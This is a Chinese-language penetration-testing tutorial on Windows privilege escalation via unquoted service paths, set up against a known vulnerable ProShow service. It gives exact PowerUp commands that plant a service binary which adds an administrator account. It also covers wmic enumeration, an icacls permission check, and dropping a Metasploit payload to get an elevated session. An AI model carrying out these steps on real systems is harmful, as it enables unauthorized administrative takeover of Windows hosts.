可信任服务路径提权
①简介
"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权
②提权操作
1、安装一个存在漏洞的服务环境
https://www.exploit-db.com/exploits/24872
-使用Powerup:
1、用相应模块寻找问题路径
powershell -exec bypass "import-module .\powerup.ps1;Get-ServiceUnquoted"
2、根据AbuseFunction给出的进行利用
powershell -exec bypass "import-module .\powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe'"
可以看到是创建了管理员用户john,密码为Password123!
3、等待服务重启,用户添加成功
net user
如果权限能手动停止、启动服务可执行:
sc stop 服务名 #停止服务sc start 服务名 #启动服务
-配合MSF和WMIC:
1、拿到一个不是最高权限的会话
getuid
2、进入shell会话,用wmic枚举可能存在漏洞的路径
wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """
成功找到一个,会按照如下顺序执行程序:
C:\Program.exe
C:\Program Files(x86)\Photodex\ProShow.exe
C:\Program Files(x86)\Photodex\ProShow Producer\ScsiAccess.exe
详细解析一下:
我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:\Program[空格]xxxxx\xxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。
3、查看目录权限,用windows自带的icacls
icacls "文件夹路径"
参数解析:
(M):修改
(F):完全控制
可以看到,是Everyone,即具有完全控制权限
4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名
5、等待服务重启,MSF开启监听,成功上线
但是这个会话很不稳定,所以第一时间进行进程迁移
run post/windows/manage/migrate
再次查看权限:
getuid